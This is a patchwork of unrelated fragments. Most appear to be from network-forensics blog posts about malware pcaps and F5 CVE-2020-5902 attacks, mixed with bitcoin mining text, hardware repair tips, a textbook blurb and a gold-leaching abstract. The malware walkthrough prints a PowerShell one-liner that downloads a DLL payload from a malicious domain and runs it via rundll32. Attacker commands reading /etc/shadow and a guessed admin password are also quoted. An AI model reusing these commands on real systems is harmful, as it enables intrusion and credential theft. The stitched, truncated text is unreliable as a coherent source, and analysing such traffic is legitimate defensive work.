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The capture file starts with a DNS lookup for banusdona.top, which resolved to 172.67.188.12, followed by an HTTP GET request for "/222g100/index.php" on that domain. The following PowerShell oneliner is returned in the HTTP response from banusdona.top: $path = $Env:temp+'\JwWdx.dat'; $client = New-Object Net.WebClient; $client.downloadfile(' ',$path); C:\Windows\System32\rundll32.exe $path,DllRegisterServer

This oneliner instructs the initial dropper to download a Win32 DLL payload from [.]top/222g100/main.php and save it as "JwWdx.dat" in the user's temp directory and then run the DLL with: rundll32.exe %TEMP%\JwWdx.dat,DllRegisterServer

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The actor with IP address "45.12.206.76" can be observed attacking the vulnerable F5 device on July 7 at 22:16 UTC. The attack started with an attempt at exploiting the authentication bypass vulnerability in CVE-2020-5902.

The same actor came back again on July 9, but this time from the IP address "185.160.24.70". The actions carried out are pretty much a reiteration of the previous attempts, i.e. writing "set -e; cat /etc/shadow; cat /etc/hosts; [...]" (exact same commands as last time) to "/tmp/.X11.1". The commands, the name of the temp file and the HTTP headers are identical which is why I'm pretty confident that this is the same actor. Both IP addresses (45.12.206.76 and 185.160.24.70) also seem to originate from the same VPN service, since the networks are announced by AS9009 (M247 Ltd) and both networks are registered to "Think Huge Ltd" who run VPN's as part of their business.

You probably recognize this command sequence, which was previously posted to "/tmp/.X11.1" on July 7 and 9 by attempting to exploit the authentication bypass vulnerability in CVE-2020-5902. However, this time the output from the command comes back in the HTTP response in form of a 16 kB JSON blob.

The other attack where a similar password was observed originated from IP address 198.13.54.223 on August 3'rd. This time the attacker attempted to authenticate to "/tmui/logmein.html" with username "admin" and password "aBcD008@@Ws0A".

NetworkMiner 2.7 can extract documents from LPR/LPD print traffic on TCP 515 (RFC1179). The extracted print data is saved to disk as .prn files, which can be analyzed with tools like PCL Paraphernalia. The professional version of NetworkMiner also comes with a carver that attempts to extract PostScript and PDF files from print traffic.

He got the idea while analyzing the Vawtrak malware after discovering that it read multiple fields in the X.509 certificate provided by the server before proceeding. Jason initially thought these fields were used as a C2 channel, but then realized that Vawtrak performed a variant of certificate pinning in order to discover SSL man-in-the-middle attempts.

We have previously held back on what data we add to the Parameters tab. However, now with the filtering feature in place, we decided to add a lot more information to the Parameters list. Some of the new parameter types available in version 2.0 are: HTTP request methodsHTTP URI'sHTTP response status codesHTTP headersSMB Tree Connect AndX Request (attempts to connect to a named file share)SMB NT Create AndX Request (mapping of filename to file handle ID)SMB2 Connect Requests (attempts to connect to a named file share)SMB2 File ID (mapping of filename to file handle ID)SMB2 file timestamps (Created, Modified and Accessed).

The audio streams from the VoIP calls are also extracted to disk as .WAV files when codecs G.729 or G.711 (u-Law and A-Law) is used. NetworkMiner Professional also attempts to reassemble RTP streams encoded with G.722 to .au files.

The BackConnect Reverse Shell log in NetworkMiner's Parameters tab shows that the attacker also attempted to download Cobalt Strike using PowerShell at 15:41:59 UTC (frame 145176) with this command:

Note: If the temperature of many hash boards exceeds 80 degrees Celsius, please add cooling devices because the high temperature will eventually enter the high-temperature protection mode, and the miner will shut down. In addition, the mining machine is prone to failure when working in a high-temperature environment.

Solution: Connect the three hash boards to the control board to test one by one, and run for about 5 minutes to find out the hash board with temperature problems for repair or replacement.

Graphiron uses AES encryption with hardcoded keys. It creates temporary files with the ".lock" and ".trash" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe

Good post! Regarding Wireshark crashing: Wireshark always writes captured frames to disk; there are almost no frames in memory that are lost when it crashes. You can usually salvage the recent capture files from your temp folder, as described here: -foo.com/2014/07/wireshark-file-storage/

As you can see, increasing the difficulty by 1 bit causes an exponential increase in the time it takes to find a solution. If you think of the entire 256-bit number space, each time you constrain one more bit to zero, you decrease the search space by half. In Example 8-12, it takes 84 million hash attempts to find a nonce that produces a hash with 26 leading bits as zero. Even at a speed of more than 120,000 hashes per second, it still requires 10 minutes on a consumer laptop to find this solution.

Because the blockchain is a decentralized data structure, different copies of it are not always consistent. Blocks might arrive at different nodes at different times, causing the nodes to have different perspectives of the blockchain. To resolve this, each node always selects and attempts to extend the chain of blocks that represents the most proof of work, also known as the longest chain or greatest cumulative difficulty chain. By summing the difficulty recorded in each block in a chain, a node can calculate the total amount of proof of work that has been expended to create that chain. As long as all nodes select the longest cumulative difficulty chain, the global bitcoin network eventually converges to a consistent state. Forks occur as temporary inconsistencies between versions of the blockchain, which are resolved by eventual reconvergence as more blocks are added to one of the forks.

Similarly, a mining pool will set a pool difficulty that will ensure that an individual pool miner can find block header hashes that are less than the pool difficulty quite often, earning shares. Every now and then, one of these attempts will produce a block header hash that is less than the bitcoin network target, making it a valid block and the whole pool wins.

Pool miners connect to the pool server using a mining protocol such as Stratum (STM) or GetBlockTemplate (GBT). An older standard called GetWork (GWK) has been mostly obsolete since late 2012, because it does not easily support mining at hash rates above 4 GH/s. Both the STM and GBT protocols create block templates that contain a template of a candidate block header. The pool server constructs a candidate block by aggregating transactions, adding a coinbase transaction (with extra nonce space), calculating the merkle root, and linking to the previous block hash. The header of the candidate block is then sent to each of the pool miners as a template. Each pool miner then mines using the block template, at a lower difficulty than the bitcoin network difficulty, and sends any successful results back to the pool server to earn shares.

P2Pool mining is more complex than pool mining because it requires that the pool miners run a dedicated computer with enough disk space, memory, and Internet bandwidth to support a full bitcoin node and the P2Pool node software. P2Pool miners connect their mining hardware to their local P2Pool node, which simulates the functions of a pool server by sending block templates to the mining hardware. On P2Pool, individual pool miners construct their own candidate blocks, aggregating transactions much like solo miners, but then mine collaboratively on the share chain. P2Pool is a hybrid approach that has the advantage of much more granular payouts than solo mining, but without giving too much control to a pool operator like managed pools.

Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection.

Chapter 3 discusses physical threats and how to secure against them. It reviews guidelines for protecting servers, the Protective Distribution System, a Faraday cage, and fiber optic cabling. Students will also learn how temperature affects computer equipment, how to reduce and maintain temperatures to keep equipment running efficiently, and methods for fire suppression.

There are dozens of network management tools available. Some software tools support configuration management, some support performance and fault management, while some attempt to do both. Some tools have modules to support the help desk providing end user support.

Abstract:The thiourea (TU) leaching of gold from refractory ores can be considered an alternative to cyanidation. However, the high reagent consumption causes an increase in cost, which seriously limits its use. In order to effectively reduce the TU consumption, it is necessary to analyze the influencing parameters of gold recovery and TU consumption and apply them to the prediction of the TU leaching process. This paper investigated six potential influencing parameters and used grey relational analysis (GRA) to analyze the relational degree between each parameter and gold recovery and TU consumption. Then, the artificial neural network (ANN) model was established to simultaneously predict the gold recovery and TU consumption in the TU gold leaching process. The results of the GRA indicated that the leaching time, initial pH, temperature, TU dosage, stirring speed, and ferric iron concentration were all well related to the gold recovery and TU consumption. Therefore, the incorporation of these parameters can significantly improve the ANN model validation. The predictive results noted that the prediction accuracy of gold recovery varied from 94.46% to 98.06%, and the TU consumption varied from 95.15% to 99.20%. Thus, the predicted values corresponded closely to the experimental results, which suggested that the ANN model can accurately reflect the relationship between the operational conditions and the gold recovery and TU consumption. This prediction method can be used as an auxiliary decision-making tool in the TU gold leaching process, and it has broad engineering application prospects in engineering.Keywords: gold concentrate; thiourea; artificial neural network; grey relational analysis; influencing variables be457b7860